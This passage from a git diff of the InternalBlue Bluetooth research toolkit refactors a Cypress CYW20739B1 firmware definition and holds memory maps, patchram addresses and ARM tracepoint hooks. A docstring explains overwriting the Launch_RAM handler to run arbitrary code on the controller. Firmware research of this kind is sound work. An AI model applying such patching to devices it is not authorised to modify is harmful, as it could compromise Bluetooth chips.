add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xEAB4 // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x2DEC0 // hci_sendEvent
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x26C7A // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x2DEF4 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xEAB4 // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x2DEC0 // hci_sendEvent
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x26C7A // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
|
||||
+120
-91
@@ -2,7 +2,7 @@
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
@@ -20,109 +20,138 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920719
|
||||
FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
|
||||
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
#Heap
|
||||
BLOC_HEAD = 0x0200c7c # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283fff, False, True), # ToRam
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00223200
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x34964 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
class CYW20739B1(FirmwareDefinition):
|
||||
"""
|
||||
CYW20719 is a Cypress evaluation board, the newest one that is currently available.
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
Known issues:
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
* `Launch_RAM` does not terminate and crashes the board.
|
||||
|
||||
// dump registers like before
|
||||
To get this working anyway:
|
||||
The `Launch_RAM` handler HCI callback is at `0x1AB218` and it can be overwritten with the
|
||||
address of the memory snippet you want to launch. For example, at `0x0x222500` there is some
|
||||
free memory. Put the function there. Then:
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0xF7B6 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
"""
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920719, which is also named CYW20739 internally, because they like fuzzy name definitions
|
||||
FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
|
||||
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
# Device Infos
|
||||
DEVICE_NAME = (
|
||||
0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
)
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
# Heap
|
||||
BLOC_HEAD = 0x0200C7C # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283FFF, False, True), # ToRam
|
||||
]
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xAF0BC // memcpy(dst, src, len)
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = Address(0x310000)
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = Address(0x310404)
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = Address(0x270000)
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0xF782 // hci_sendEvent
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0x1AB218
|
||||
HCI_EVENT_COMPLETE = 0x1A9D6
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x2D702 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x2829AE)
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00223200
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x34964 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0xF7B6 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xAF0BC // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0xF782 // hci_sendEvent
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x2D702 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user